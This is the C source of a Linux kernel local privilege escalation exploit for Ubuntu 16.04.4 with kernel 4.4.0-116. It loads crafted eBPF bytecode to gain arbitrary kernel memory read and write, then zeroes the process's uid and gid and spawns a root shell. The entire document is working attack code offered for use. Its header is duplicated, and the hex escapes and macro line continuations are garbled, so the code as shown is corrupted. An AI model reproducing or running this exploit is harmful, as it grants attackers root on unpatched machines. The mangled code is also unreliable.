Linux Kernel Local Privilege Escalation

/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP /*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = "xb4x09x00x00xffxffxffxff"
"x55x09x02x00xffxffxffxff"
"xb7x00x00x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x18x19x00x00x03x00x00x00"
"x00x00x00x00x00x00x00x00"
"xbfx91x00x00x00x00x00x00"
"xbfxa2x00x00x00x00x00x00"
"x07x02x00x00xfcxffxffxff"
"x62x0axfcxffx00x00x00x00"
"x85x00x00x00x01x00x00x00"
"x55x00x01x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x79x06x00x00x00x00x00x00"
"xbfx91x00x00x00x00x00x00"
"xbfxa2x00x00x00x00x00x00"
"x07x02x00x00xfcxffxffxff"
"x62x0axfcxffx01x00x00x00"
"x85x00x00x00x01x00x00x00"
"x55x00x01x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x79x07x00x00x00x00x00x00"
"xbfx91x00x00x00x00x00x00"
"xbfxa2x00x00x00x00x00x00"
"x07x02x00x00xfcxffxffxff"
"x62x0axfcxffx02x00x00x00"
"x85x00x00x00x01x00x00x00"
"x55x00x01x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x79x08x00x00x00x00x00x00"
"xbfx02x00x00x00x00x00x00"
"xb7x00x00x00x00x00x00x00"
"x55x06x03x00x00x00x00x00"
"x79x73x00x00x00x00x00x00"
"x7bx32x00x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x55x06x02x00x01x00x00x00"
"x7bxa2x00x00x00x00x00x00"
"x95x00x00x00x00x00x00x00"
"x7bx87x00x00x00x00x00x00"
"x95x00x00x00x00x00x00x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
fprintf(stderr, "error: %s ", err);
exit(-1);
}

static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

if (progfd < 0)
__exit(strerror(errno));

if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));

if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}

static void writemsg(void) {
char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu ", n);
}

#define __update_elem(a, b, c)
bpf_update_elem(0, (a));
bpf_update_elem(1, (b));
bpf_update_elem(2, (c));
writemsg();

static uint64_t get_value(int key) {
uint64_t value;

if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));

return value;
}

static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);

return get_value(2);
}

static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);

return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}

static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;

fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");

sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");

task_struct = __read(sp);

if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");

printf("task_struct = %lx ", task_struct);

credptr = __read(task_struct + CRED_OFFSET); // cred

if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");

printf("uidptr = %lx ", uidptr);
__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
printf("spawning root shell ");
system("/bin/bash");
exit(0);
}

__exit("not vulnerable?");
}

int main(int argc, char **argv) {
prep();
pwn();

return 0;
}